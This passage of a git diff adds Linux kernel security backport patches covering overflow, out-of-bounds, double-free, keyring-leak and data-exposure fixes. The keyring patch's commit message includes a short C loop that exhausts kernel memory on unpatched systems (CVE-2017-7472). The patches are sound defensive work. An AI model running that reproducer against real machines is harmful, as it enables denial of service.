b/drivers/hid/hid-cypress.c +index c4ef3bc726e34..e299576004ce5 100644 +--- a/drivers/hid/hid-cypress.c ++++ b/drivers/hid/hid-cypress.c +@@ -39,6 +39,9 @@ static __u8 *cp_report_fixup(struct hid_device *hdev, __u8 *rdesc, + if (!(quirks & CP_RDESC_SWAPPED_MIN_MAX)) + return rdesc; + ++ if (*rsize < 4) ++ return rdesc; ++ + for (i = 0; i < *rsize - 4; i++) + if (rdesc[i] == 0x29 && rdesc[i + 2] == 0x19) { + __u8 tmp; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0369-404f763e1b9f-drmvmwgfx fix integer overflow in vmwsurfacedefineioctl.patch b/recipes-kernel/linux/linux-bass/autopatcher/0369-404f763e1b9f-drmvmwgfx fix integer overflow in vmwsurfacedefineioctl.patch new file mode 100644 index 0000000..dc64882 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0369-404f763e1b9f-drmvmwgfx fix integer overflow in vmwsurfacedefineioctl.patch @@ -0,0 +1,42 @@ +From 404f763e1b9f6de4db0edff73c18ef4683f67cd3 Mon Sep 17 00:00:00 2001 +From: Li Qiang +Date: Mon, 27 Mar 2017 20:10:53 -0700 +Subject: drm/vmwgfx: fix integer overflow in vmw_surface_define_ioctl() + +commit e7e11f99564222d82f0ce84bd521e57d78a6b678 upstream. + +In vmw_surface_define_ioctl(), the 'num_sizes' is the sum of the +'req->mip_levels' array. This array can be assigned any value from +the user space. As both the 'num_sizes' and the array is uint32_t, +it is easy to make 'num_sizes' overflow. The later 'mip_levels' is +used as the loop count. This can lead an oob write. Add the check of +'req->mip_levels' to avoid this. + +Signed-off-by: Li Qiang +Reviewed-by: Thomas Hellstrom +Signed-off-by: Jiri Slaby +Signed-off-by: Willy Tarreau +--- + drivers/gpu/drm/vmwgfx/vmwgfx_surface.c | 5 ++++- + 1 file changed, 4 insertions(+), 1 deletion(-) + +diff --git a/drivers/gpu/drm/vmwgfx/vmwgfx_surface.c b/drivers/gpu/drm/vmwgfx/vmwgfx_surface.c +index a518493836a0..12969378c06e 100644 +--- a/drivers/gpu/drm/vmwgfx/vmwgfx_surface.c ++++ b/drivers/gpu/drm/vmwgfx/vmwgfx_surface.c +@@ -677,8 +677,11 @@ int vmw_surface_define_ioctl(struct drm_device *dev, void *data, + 128; + + num_sizes = 0; +- for (i = 0; i < DRM_VMW_MAX_SURFACE_FACES; ++i) ++ for (i = 0; i < DRM_VMW_MAX_SURFACE_FACES; ++i) { ++ if (req->mip_levels[i] > DRM_VMW_MAX_MIP_LEVELS) ++ return -EINVAL; + num_sizes += req->mip_levels[i]; ++ } + + if (num_sizes > DRM_VMW_MAX_SURFACE_FACES * DRM_VMW_MAX_MIP_LEVELS || + num_sizes == 0) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0370-492980ca268c-netpacket fix overflow in check for tpframenr.patch b/recipes-kernel/linux/linux-bass/autopatcher/0370-492980ca268c-netpacket fix overflow in check for tpframenr.patch new file mode 100644 index 0000000..24d6a80 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0370-492980ca268c-netpacket fix overflow in check for tpframenr.patch @@ -0,0 +1,39 @@ +From 492980ca268c3a213a71f5c0aef116b58c665e16 Mon Sep 17 00:00:00 2001 +From: Andrey Konovalov +Date: Wed, 29 Mar 2017 16:11:21 +0200 +Subject: net/packet: fix overflow in check for tp_frame_nr + +commit 8f8d28e4d6d815a391285e121c3a53a0b6cb9e7b upstream. + +When calculating rb->frames_per_block * req->tp_block_nr the result +can overflow. + +Add a check that tp_block_size * tp_block_nr <= UINT_MAX. + +Since frames_per_block <= tp_block_size, the expression would +never overflow. + +Signed-off-by: Andrey Konovalov +Acked-by: Eric Dumazet +Signed-off-by: David S. Miller +Signed-off-by: Willy Tarreau +--- + net/packet/af_packet.c | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/net/packet/af_packet.c b/net/packet/af_packet.c +index 4a477a5ae92c3..cea85d8de1d80 100644 +--- a/net/packet/af_packet.c ++++ b/net/packet/af_packet.c +@@ -3684,6 +3684,8 @@ static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u, + rb->frames_per_block = req->tp_block_size/req->tp_frame_size; + if (unlikely(rb->frames_per_block <= 0)) + goto out; ++ if (unlikely(req->tp_block_size > UINT_MAX / req->tp_block_nr)) ++ goto out; + if (unlikely((rb->frames_per_block * req->tp_block_nr) != + req->tp_frame_nr)) + goto out; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0371-a8069aeebf93-netpacket fix overflow in check for tpreserve.patch b/recipes-kernel/linux/linux-bass/autopatcher/0371-a8069aeebf93-netpacket fix overflow in check for tpreserve.patch new file mode 100644 index 0000000..cd5e741 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0371-a8069aeebf93-netpacket fix overflow in check for tpreserve.patch @@ -0,0 +1,35 @@ +From a8069aeebf93c1f3a397364a44cddaa90ff472f3 Mon Sep 17 00:00:00 2001 +From: Andrey Konovalov +Date: Wed, 29 Mar 2017 16:11:22 +0200 +Subject: net/packet: fix overflow in check for tp_reserve + +commit bcc5364bdcfe131e6379363f089e7b4108d35b70 upstream. + +When calculating po->tp_hdrlen + po->tp_reserve the result can overflow. + +Fix by checking that tp_reserve <= INT_MAX on assign. + +Signed-off-by: Andrey Konovalov +Acked-by: Eric Dumazet +Signed-off-by: David S. Miller +Signed-off-by: Willy Tarreau +--- + net/packet/af_packet.c | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/net/packet/af_packet.c b/net/packet/af_packet.c +index cea85d8de1d80..0bbb3470fa785 100644 +--- a/net/packet/af_packet.c ++++ b/net/packet/af_packet.c +@@ -3187,6 +3187,8 @@ packet_setsockopt(struct socket *sock, int level, int optname, char __user *optv + return -EBUSY; + if (copy_from_user(&val, optval, sizeof(val))) + return -EFAULT; ++ if (val > INT_MAX) ++ return -EINVAL; + po->tp_reserve = val; + return 0; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0372-75ed08a822cf-ASoC Add backend user count checking.patch b/recipes-kernel/linux/linux-bass/autopatcher/0372-75ed08a822cf-ASoC Add backend user count checking.patch new file mode 100644 index 0000000..4609829 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0372-75ed08a822cf-ASoC Add backend user count checking.patch @@ -0,0 +1,50 @@ +From 75ed08a822cf378ffed0d2f177d06555bd77a006 Mon Sep 17 00:00:00 2001 +From: Walter Yang +Date: Thu, 2 Mar 2017 12:13:34 +0800 +Subject: ASoC: Add backend user count checking + +Add backend user count checking to protect the index +boundary. + +Change-Id: Ic1b61d1f7130252cc54da0b16553858714988dbd +CRs-Fixed: 2009216 +Signed-off-by: Walter Yang +--- + sound/soc/soc-compress.c | 5 +++++ + sound/soc/soc-pcm.c | 4 ++++ + 2 files changed, 9 insertions(+) + +diff --git a/sound/soc/soc-compress.c b/sound/soc/soc-compress.c +index 8902662..3b30818 100644 +--- a/sound/soc/soc-compress.c ++++ b/sound/soc/soc-compress.c +@@ -569,6 +569,11 @@ static int soc_compr_set_params_fe(struct snd_compr_stream *cstream, + cstream, &async_domain); + } else { + be_list[j++] = be; ++ if (j == DPCM_MAX_BE_USERS) { ++ dev_dbg(fe->dev, ++ "ASoC: MAX backend users!\n"); ++ break; ++ } + } + } + for (i = 0; i < j; i++) { +diff --git a/sound/soc/soc-pcm.c b/sound/soc/soc-pcm.c +index 7e2b2f3..21e503c 100644 +--- a/sound/soc/soc-pcm.c ++++ b/sound/soc/soc-pcm.c +@@ -1851,6 +1851,10 @@ void dpcm_be_dai_prepare_async(struct snd_soc_pcm_runtime *fe, int stream, + dpcm, domain); + } else { + dpcm_async[i++] = dpcm; ++ if (i == DPCM_MAX_BE_USERS) { ++ dev_dbg(fe->dev, "ASoC: MAX backend users!\n"); ++ break; ++ } + } + } + +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0373-eac4a77bb717-msm mdss Fix invalid dma attachment during fb shutdown.patch b/recipes-kernel/linux/linux-bass/autopatcher/0373-eac4a77bb717-msm mdss Fix invalid dma attachment during fb shutdown.patch new file mode 100644 index 0000000..d7b5ea4 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0373-eac4a77bb717-msm mdss Fix invalid dma attachment during fb shutdown.patch @@ -0,0 +1,33 @@ +From eac4a77bb71750b02e91508b15c9aaf4fe2b94ae Mon Sep 17 00:00:00 2001 +From: Sachin Bhayare +Date: Fri, 23 Dec 2016 11:22:44 +0530 +Subject: msm: mdss: Fix invalid dma attachment during fb shutdown + +If DMA attachment fail during fb_mmap, all ION memory will get free. It +is necessary to reset the fbmem and fb_attachemnt pointer to NULL, +otherwise during shutdown will perform another free and causing issue. + +CRs-Fixed: 1090244 +Change-Id: I92affcf2ce039eecfc72b7c191e058f37815c726 +Signed-off-by: Benjamin Chan +Signed-off-by: Sachin Bhayare +--- + drivers/video/msm/mdss/mdss_fb.c | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/drivers/video/msm/mdss/mdss_fb.c b/drivers/video/msm/mdss/mdss_fb.c +index 2e8092d..c2d1441 100644 +--- a/drivers/video/msm/mdss/mdss_fb.c ++++ b/drivers/video/msm/mdss/mdss_fb.c +@@ -1660,6 +1660,8 @@ int mdss_fb_alloc_fb_ion_memory(struct msm_fb_data_type *mfd, size_t fb_size) + + fb_mmap_failed: + ion_free(mfd->fb_ion_client, mfd->fb_ion_handle); ++ mfd->fb_ion_handle = NULL; ++ mfd->fbmem_buf = NULL; + return rc; + } + +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0374-d19182e28cfd-KEYS fix keyctlsetreqkeykeyring to not leak thread keyrings.patch b/recipes-kernel/linux/linux-bass/autopatcher/0374-d19182e28cfd-KEYS fix keyctlsetreqkeykeyring to not leak thread keyrings.patch new file mode 100644 index 0000000..7ae6ac2 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0374-d19182e28cfd-KEYS fix keyctlsetreqkeykeyring to not leak thread keyrings.patch @@ -0,0 +1,182 @@ +From d19182e28cfd7ade11a71f1e8190fb7243ed4bf5 Mon Sep 17 00:00:00 2001 +From: Eric Biggers +Date: Tue, 18 Apr 2017 15:31:09 +0100 +Subject: KEYS: fix keyctl_set_reqkey_keyring() to not leak thread keyrings + +commit c9f838d104fed6f2f61d68164712e3204bf5271b upstream. + +This fixes CVE-2017-7472. + +Running the following program as an unprivileged user exhausts kernel +memory by leaking thread keyrings: + + #include + + int main() + { + for (;;) + keyctl_set_reqkey_keyring(KEY_REQKEY_DEFL_THREAD_KEYRING); + } + +Fix it by only creating a new thread keyring if there wasn't one before. +To make things more consistent, make install_thread_keyring_to_cred() +and install_process_keyring_to_cred() both return 0 if the corresponding +keyring is already present. + +Fixes: d84f4f992cbd ("CRED: Inaugurate COW credentials") +Signed-off-by: Eric Biggers +Signed-off-by: David Howells +Signed-off-by: Willy Tarreau +--- + security/keys/keyctl.c | 11 ++++------- + security/keys/process_keys.c | 44 +++++++++++++++++++++++++++----------------- + 2 files changed, 31 insertions(+), 24 deletions(-) + +diff --git a/security/keys/keyctl.c b/security/keys/keyctl.c +index 1324b2e102867..066baa1926bb8 100644 +--- a/security/keys/keyctl.c ++++ b/security/keys/keyctl.c +@@ -1245,8 +1245,8 @@ error: + * Read or set the default keyring in which request_key() will cache keys and + * return the old setting. + * +- * If a process keyring is specified then this will be created if it doesn't +- * yet exist. The old setting will be returned if successful. ++ * If a thread or process keyring is specified then it will be created if it ++ * doesn't yet exist. The old setting will be returned if successful. + */ + long keyctl_set_reqkey_keyring(int reqkey_defl) + { +@@ -1271,11 +1271,8 @@ long keyctl_set_reqkey_keyring(int reqkey_defl) + + case KEY_REQKEY_DEFL_PROCESS_KEYRING: + ret = install_process_keyring_to_cred(new); +- if (ret < 0) { +- if (ret != -EEXIST) +- goto error; +- ret = 0; +- } ++ if (ret < 0) ++ goto error; + goto set; + + case KEY_REQKEY_DEFL_DEFAULT: +diff --git a/security/keys/process_keys.c b/security/keys/process_keys.c +index cd871dc8b7c0d..33384662fc82e 100644 +--- a/security/keys/process_keys.c ++++ b/security/keys/process_keys.c +@@ -125,13 +125,18 @@ error: + } + + /* +- * Install a fresh thread keyring directly to new credentials. This keyring is +- * allowed to overrun the quota. ++ * Install a thread keyring to the given credentials struct if it didn't have ++ * one already. This is allowed to overrun the quota. ++ * ++ * Return: 0 if a thread keyring is now present; -errno on failure. + */ + int install_thread_keyring_to_cred(struct cred *new) + { + struct key *keyring; + ++ if (new->thread_keyring) ++ return 0; ++ + keyring = keyring_alloc("_tid", new->uid, new->gid, new, + KEY_POS_ALL | KEY_USR_VIEW, + KEY_ALLOC_QUOTA_OVERRUN, NULL); +@@ -143,7 +148,9 @@ int install_thread_keyring_to_cred(struct cred *new) + } + + /* +- * Install a fresh thread keyring, discarding the old one. ++ * Install a thread keyring to the current task if it didn't have one already. ++ * ++ * Return: 0 if a thread keyring is now present; -errno on failure. + */ + static int install_thread_keyring(void) + { +@@ -154,8 +161,6 @@ static int install_thread_keyring(void) + if (!new) + return -ENOMEM; + +- BUG_ON(new->thread_keyring); +- + ret = install_thread_keyring_to_cred(new); + if (ret < 0) { + abort_creds(new); +@@ -166,17 +171,17 @@ static int install_thread_keyring(void) + } + + /* +- * Install a process keyring directly to a credentials struct. ++ * Install a process keyring to the given credentials struct if it didn't have ++ * one already. This is allowed to overrun the quota. + * +- * Returns -EEXIST if there was already a process keyring, 0 if one installed, +- * and other value on any other error ++ * Return: 0 if a process keyring is now present; -errno on failure. + */ + int install_process_keyring_to_cred(struct cred *new) + { + struct key *keyring; + + if (new->process_keyring) +- return -EEXIST; ++ return 0; + + keyring = keyring_alloc("_pid", new->uid, new->gid, new, + KEY_POS_ALL | KEY_USR_VIEW, +@@ -189,11 +194,9 @@ int install_process_keyring_to_cred(struct cred *new) + } + + /* +- * Make sure a process keyring is installed for the current process. The +- * existing process keyring is not replaced. ++ * Install a process keyring to the current task if it didn't have one already. + * +- * Returns 0 if there is a process keyring by the end of this function, some +- * error otherwise. ++ * Return: 0 if a process keyring is now present; -errno on failure. + */ + static int install_process_keyring(void) + { +@@ -207,14 +210,18 @@ static int install_process_keyring(void) + ret = install_process_keyring_to_cred(new); + if (ret < 0) { + abort_creds(new); +- return ret != -EEXIST ? ret : 0; ++ return ret; + } + + return commit_creds(new); + } + + /* +- * Install a session keyring directly to a credentials struct. ++ * Install the given keyring as the session keyring of the given credentials ++ * struct, replacing the existing one if any. If the given keyring is NULL, ++ * then install a new anonymous session keyring. ++ * ++ * Return: 0 on success; -errno on failure. + */ + int install_session_keyring_to_cred(struct cred *cred, struct key *keyring) + { +@@ -249,8 +256,11 @@ int install_session_keyring_to_cred(struct cred *cred, struct key *keyring) + } + + /* +- * Install a session keyring, discarding the old one. If a keyring is not +- * supplied, an empty one is invented. ++ * Install the given keyring as the session keyring of the current task, ++ * replacing the existing one if any. If the given keyring is NULL, then ++ * install a new anonymous session keyring. ++ * ++ * Return: 0 on success; -errno on failure. + */ + static int install_session_keyring(struct key *keyring) + { +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0375-978e42bd2930-rxrpc Fix several cases where a padded len isnt checked in ticket.patch b/recipes-kernel/linux/linux-bass/autopatcher/0375-978e42bd2930-rxrpc Fix several cases where a padded len isnt checked in ticket.patch new file mode 100644 index 0000000..18340b8 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0375-978e42bd2930-rxrpc Fix several cases where a padded len isnt checked in ticket.patch @@ -0,0 +1,209 @@ +From 978e42bd2930a79556d539a488372d994206d413 Mon Sep 17 00:00:00 2001 +From: David Howells +Date: Thu, 15 Jun 2017 00:12:24 +0100 +Subject: rxrpc: Fix several cases where a padded len isn't checked in ticket + decode +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +commit 5f2f97656ada8d811d3c1bef503ced266fcd53a0 upstream. + +This fixes CVE-2017-7482. + +When a kerberos 5 ticket is being decoded so that it can be loaded into an +rxrpc-type key, there are several places in which the length of a +variable-length field is checked to make sure that it's not going to +overrun the available data - but the data is padded to the nearest +four-byte boundary and the code doesn't check for this extra. This could +lead to the size-remaining variable wrapping and the data pointer going +over the end of the buffer. + +Fix this by making the various variable-length data checks use the padded +length. + +Reported-by: 石磊 +Signed-off-by: David Howells +Reviewed-by: Marc Dionne +Reviewed-by: Dan Carpenter +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: Willy Tarreau +--- + net/rxrpc/ar-key.c | 64 +++++++++++++++++++++++++++++------------------------- + 1 file changed, 34 insertions(+), 30 deletions(-) + +diff --git a/net/rxrpc/ar-key.c b/net/rxrpc/ar-key.c +index 7633a752c65e..10e6e5de36e1 100644 +--- a/net/rxrpc/ar-key.c ++++ b/net/rxrpc/ar-key.c +@@ -213,7 +213,7 @@ static int rxrpc_krb5_decode_principal(struct krb5_principal *princ, + unsigned int *_toklen) + { + const __be32 *xdr = *_xdr; +- unsigned int toklen = *_toklen, n_parts, loop, tmp; ++ unsigned int toklen = *_toklen, n_parts, loop, tmp, paddedlen; + + /* there must be at least one name, and at least #names+1 length + * words */ +@@ -243,16 +243,16 @@ static int rxrpc_krb5_decode_principal(struct krb5_principal *princ, + toklen -= 4; + if (tmp <= 0 || tmp > AFSTOKEN_STRING_MAX) + return -EINVAL; +- if (tmp > toklen) ++ paddedlen = (tmp + 3) & ~3; ++ if (paddedlen > toklen) + return -EINVAL; + princ->name_parts[loop] = kmalloc(tmp + 1, GFP_KERNEL); + if (!princ->name_parts[loop]) + return -ENOMEM; + memcpy(princ->name_parts[loop], xdr, tmp); + princ->name_parts[loop][tmp] = 0; +- tmp = (tmp + 3) & ~3; +- toklen -= tmp; +- xdr += tmp >> 2; ++ toklen -= paddedlen; ++ xdr += paddedlen >> 2; + } + + if (toklen < 4) +@@ -261,16 +261,16 @@ static int rxrpc_krb5_decode_principal(struct krb5_principal *princ, + toklen -= 4; + if (tmp <= 0 || tmp > AFSTOKEN_K5_REALM_MAX) + return -EINVAL; +- if (tmp > toklen) ++ paddedlen = (tmp + 3) & ~3; ++ if (paddedlen > toklen) + return -EINVAL; + princ->realm = kmalloc(tmp + 1, GFP_KERNEL); + if (!princ->realm) + return -ENOMEM; + memcpy(princ->realm, xdr, tmp); + princ->realm[tmp] = 0; +- tmp = (tmp + 3) & ~3; +- toklen -= tmp; +- xdr += tmp >> 2; ++ toklen -= paddedlen; ++ xdr += paddedlen >> 2; + + _debug("%s/...@%s", princ->name_parts[0], princ->realm); + +@@ -289,7 +289,7 @@ static int rxrpc_krb5_decode_tagged_data(struct krb5_tagged_data *td, + unsigned int *_toklen) + { + const __be32 *xdr = *_xdr; +- unsigned int toklen = *_toklen, len; ++ unsigned int toklen = *_toklen, len, paddedlen; + + /* there must be at least one tag and one length word */ + if (toklen <= 8) +@@ -303,15 +303,17 @@ static int rxrpc_krb5_decode_tagged_data(struct krb5_tagged_data *td, + toklen -= 8; + if (len > max_data_size) + return -EINVAL; ++ paddedlen = (len + 3) & ~3; ++ if (paddedlen > toklen) ++ return -EINVAL; + td->data_len = len; + + if (len > 0) { + td->data = kmemdup(xdr, len, GFP_KERNEL); + if (!td->data) + return -ENOMEM; +- len = (len + 3) & ~3; +- toklen -= len; +- xdr += len >> 2; ++ toklen -= paddedlen; ++ xdr += paddedlen >> 2; + } + + _debug("tag %x len %x", td->tag, td->data_len); +@@ -383,7 +385,7 @@ static int rxrpc_krb5_decode_ticket(u8 **_ticket, u16 *_tktlen, + const __be32 **_xdr, unsigned int *_toklen) + { + const __be32 *xdr = *_xdr; +- unsigned int toklen = *_toklen, len; ++ unsigned int toklen = *_toklen, len, paddedlen; + + /* there must be at least one length word */ + if (toklen <= 4) +@@ -395,6 +397,9 @@ static int rxrpc_krb5_decode_ticket(u8 **_ticket, u16 *_tktlen, + toklen -= 4; + if (len > AFSTOKEN_K5_TIX_MAX) + return -EINVAL; ++ paddedlen = (len + 3) & ~3; ++ if (paddedlen > toklen) ++ return -EINVAL; + *_tktlen = len; + + _debug("ticket len %u", len); +@@ -403,9 +408,8 @@ static int rxrpc_krb5_decode_ticket(u8 **_ticket, u16 *_tktlen, + *_ticket = kmemdup(xdr, len, GFP_KERNEL); + if (!*_ticket) + return -ENOMEM; +- len = (len + 3) & ~3; +- toklen -= len; +- xdr += len >> 2; ++ toklen -= paddedlen; ++ xdr += paddedlen >> 2; + } + + *_xdr = xdr; +@@ -549,7 +553,7 @@ static int rxrpc_instantiate_xdr(struct key *key, const void *data, size_t datal + { + const __be32 *xdr = data, *token; + const char *cp; +- unsigned int len, tmp, loop, ntoken, toklen, sec_ix; ++ unsigned int len, paddedlen, loop, ntoken, toklen, sec_ix; + int ret; + + _enter(",{%x,%x,%x,%x},%zu", +@@ -574,22 +578,21 @@ static int rxrpc_instantiate_xdr(struct key *key, const void *data, size_t datal + if (len < 1 || len > AFSTOKEN_CELL_MAX) + goto not_xdr; + datalen -= 4; +- tmp = (len + 3) & ~3; +- if (tmp > datalen) ++ paddedlen = (len + 3) & ~3; ++ if (paddedlen > datalen) + goto not_xdr; + + cp = (const char *) xdr; + for (loop = 0; loop < len; loop++) + if (!isprint(cp[loop])) + goto not_xdr; +- if (len < tmp) +- for (; loop < tmp; loop++) +- if (cp[loop]) +- goto not_xdr; ++ for (; loop < paddedlen; loop++) ++ if (cp[loop]) ++ goto not_xdr; + _debug("cellname: [%u/%u] '%*.*s'", +- len, tmp, len, len, (const char *) xdr); +- datalen -= tmp; +- xdr += tmp >> 2; ++ len, paddedlen, len, len, (const char *) xdr); ++ datalen -= paddedlen; ++ xdr += paddedlen >> 2; + + /* get the token count */ + if (datalen < 12) +@@ -610,10 +613,11 @@ static int rxrpc_instantiate_xdr(struct key *key, const void *data, size_t datal + sec_ix = ntohl(*xdr); + datalen -= 4; + _debug("token: [%x/%zx] %x", toklen, datalen, sec_ix); +- if (toklen < 20 || toklen > datalen) ++ paddedlen = (toklen + 3) & ~3; ++ if (toklen < 20 || toklen > datalen || paddedlen > datalen) + goto not_xdr; +- datalen -= (toklen + 3) & ~3; +- xdr += (toklen + 3) >> 2; ++ datalen -= paddedlen; ++ xdr += paddedlen >> 2; + + } while (--loop > 0); + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0376-ee0d8d848234-ipx call ipxitfput in ioctl error path.patch b/recipes-kernel/linux/linux-bass/autopatcher/0376-ee0d8d848234-ipx call ipxitfput in ioctl error path.patch new file mode 100644 index 0000000..390e21d --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0376-ee0d8d848234-ipx call ipxitfput in ioctl error path.patch @@ -0,0 +1,38 @@ +From ee0d8d8482345ff97a75a7d747efc309f13b0d80 Mon Sep 17 00:00:00 2001 +From: Dan Carpenter +Date: Tue, 2 May 2017 13:58:53 +0300 +Subject: ipx: call ipxitf_put() in ioctl error path +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +We should call ipxitf_put() if the copy_to_user() fails. + +Reported-by: 李强 +Signed-off-by: Dan Carpenter +Signed-off-by: David S. Miller +--- + net/ipx/af_ipx.c | 5 ++--- + 1 file changed, 2 insertions(+), 3 deletions(-) + +diff --git a/net/ipx/af_ipx.c b/net/ipx/af_ipx.c +index 8a9219ff2e77..fa31ef29e3fa 100644 +--- a/net/ipx/af_ipx.c ++++ b/net/ipx/af_ipx.c +@@ -1168,11 +1168,10 @@ static int ipxitf_ioctl(unsigned int cmd, void __user *arg) + sipx->sipx_network = ipxif->if_netnum; + memcpy(sipx->sipx_node, ipxif->if_node, + sizeof(sipx->sipx_node)); +- rc = -EFAULT; ++ rc = 0; + if (copy_to_user(arg, &ifr, sizeof(ifr))) +- break; ++ rc = -EFAULT; + ipxitf_put(ipxif); +- rc = 0; + break; + } + case SIOCAIPXITFCRT: +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0377-9488a4776180-ext4 fix data exposure after a crash.patch b/recipes-kernel/linux/linux-bass/autopatcher/0377-9488a4776180-ext4 fix data exposure after a crash.patch new file mode 100644 index 0000000..26147e2 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0377-9488a4776180-ext4 fix data exposure after a crash.patch @@ -0,0 +1,88 @@ +From 9488a4776180db568e51d54d02250eb6f3ee724e Mon Sep 17 00:00:00 2001 +From: Jan Kara +Date: Sun, 24 Apr 2016 00:56:03 -0400 +Subject: ext4: fix data exposure after a crash + +commit 06bd3c36a733ac27962fea7d6f47168841376824 upstream. + +Huang has reported that in his powerfail testing he is seeing stale +block contents in some of recently allocated blocks although he mounts +ext4 in data=ordered mode. After some investigation I have found out +that indeed when delayed allocation is used, we don't add inode to +transaction's list of inodes needing flushing before commit. Originally +we were doing that but commit f3b59291a69d removed the logic with a +flawed argument that it is not needed. + +The problem is that although for delayed allocated blocks we write their +contents immediately after allocating them, there is no guarantee that +the IO scheduler or device doesn't reorder things and thus transaction +allocating blocks and attaching them to inode can reach stable storage +before actual block contents. Actually whenever we attach freshly +allocated blocks to inode using a written extent, we should add inode to +transaction's ordered inode list to make sure we properly wait for block +contents to be written before committing the transaction. So that is +what we do in this patch. This also handles other cases where stale data +exposure was possible - like filling hole via mmap in +data=ordered,nodelalloc mode. + +The only exception to the above rule are extending direct IO writes where +blkdev_direct_IO() waits for IO to complete before increasing i_size and +thus stale data exposure is not possible. For now we don't complicate +the code with optimizing this special case since the overhead is pretty +low. In case this is observed to be a performance problem we can always +handle it using a special flag to ext4_map_blocks(). + +Fixes: f3b59291a69d0b734be1fc8be489fef2dd846d3d +Reported-by: "HUANG Weller (CM/ESW12-CN)" +Tested-by: "HUANG Weller (CM/ESW12-CN)" +Signed-off-by: Jan Kara +Signed-off-by: Theodore Ts'o +Signed-off-by: Willy Tarreau +--- + fs/ext4/inode.c | 23 ++++++++++++++--------- + 1 file changed, 14 insertions(+), 9 deletions(-) + +diff --git a/fs/ext4/inode.c b/fs/ext4/inode.c +index 31179ba2072c7..36df03833bff4 100644 +--- a/fs/ext4/inode.c ++++ b/fs/ext4/inode.c +@@ -759,6 +759,20 @@ has_zeroout: + int ret = check_block_validity(inode, map); + if (ret != 0) + return ret; ++ ++ /* ++ * Inodes with freshly allocated blocks where contents will be ++ * visible after transaction commit must be on transaction's ++ * ordered data list. ++ */ ++ if (map->m_flags & EXT4_MAP_NEW && ++ !(map->m_flags & EXT4_MAP_UNWRITTEN) && ++ !IS_NOQUOTA(inode) && ++ ext4_should_order_data(inode)) { ++ ret = ext4_jbd2_file_inode(handle, inode); ++ if (ret) ++ return ret; ++ } + } + return retval; + } +@@ -1119,15 +1133,6 @@ static int ext4_write_end(struct file *file, + int i_size_changed = 0; + + trace_ext4_write_end(inode, pos, len, copied); +- if (ext4_test_inode_state(inode, EXT4_STATE_ORDERED_MODE)) { +- ret = ext4_jbd2_file_inode(handle, inode); +- if (ret) { +- unlock_page(page); +- page_cache_release(page); +- goto errout; +- } +- } +- + if (ext4_has_inline_data(inode)) { + ret = ext4_write_inline_data_end(inode, pos, len, + copied, page); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0378-7136ca73ff34-brcmfmac fix possible buffer overflow in brcmfcfg80211mgmttx.patch b/recipes-kernel/linux/linux-bass/autopatcher/0378-7136ca73ff34-brcmfmac fix possible buffer overflow in brcmfcfg80211mgmttx.patch new file mode 100644 index 0000000..7b9b117 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0378-7136ca73ff34-brcmfmac fix possible buffer overflow in brcmfcfg80211mgmttx.patch @@ -0,0 +1,50 @@ +From 7136ca73ff3496758b56f60b6fe76d675e69cd21 Mon Sep 17 00:00:00 2001 +From: Arend van Spriel +Date: Fri, 7 Jul 2017 21:09:06 +0100 +Subject: brcmfmac: fix possible buffer overflow in brcmf_cfg80211_mgmt_tx() +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +commit 8f44c9a41386729fea410e688959ddaa9d51be7c upstream. + +The lower level nl80211 code in cfg80211 ensures that "len" is between +25 and NL80211_ATTR_FRAME (2304). We subtract DOT11_MGMT_HDR_LEN (24) from +"len" so thats's max of 2280. However, the action_frame->data[] buffer is +only BRCMF_FIL_ACTION_FRAME_SIZE (1800) bytes long so this memcpy() can +overflow. + + memcpy(action_frame->data, &buf[DOT11_MGMT_HDR_LEN], + le16_to_cpu(action_frame->len)); + +Cc: stable@vger.kernel.org # 3.9.x +Fixes: 18e2f61db3b70 ("brcmfmac: P2P action frame tx.") +Reported-by: "freenerguo(郭大兴)" +Signed-off-by: Arend van Spriel +Signed-off-by: David S. Miller +[wt: s/cfg80211.c/wl_cfg80211.c in 3.10] + +Signed-off-by: Willy Tarreau +--- + drivers/net/wireless/brcm80211/brcmfmac/wl_cfg80211.c | 5 +++++ + 1 file changed, 5 insertions(+) + +diff --git a/drivers/net/wireless/brcm80211/brcmfmac/wl_cfg80211.c b/drivers/net/wireless/brcm80211/brcmfmac/wl_cfg80211.c +index 2c524305589f..8afb60925332 100644 +--- a/drivers/net/wireless/brcm80211/brcmfmac/wl_cfg80211.c ++++ b/drivers/net/wireless/brcm80211/brcmfmac/wl_cfg80211.c +@@ -4019,6 +4019,11 @@ 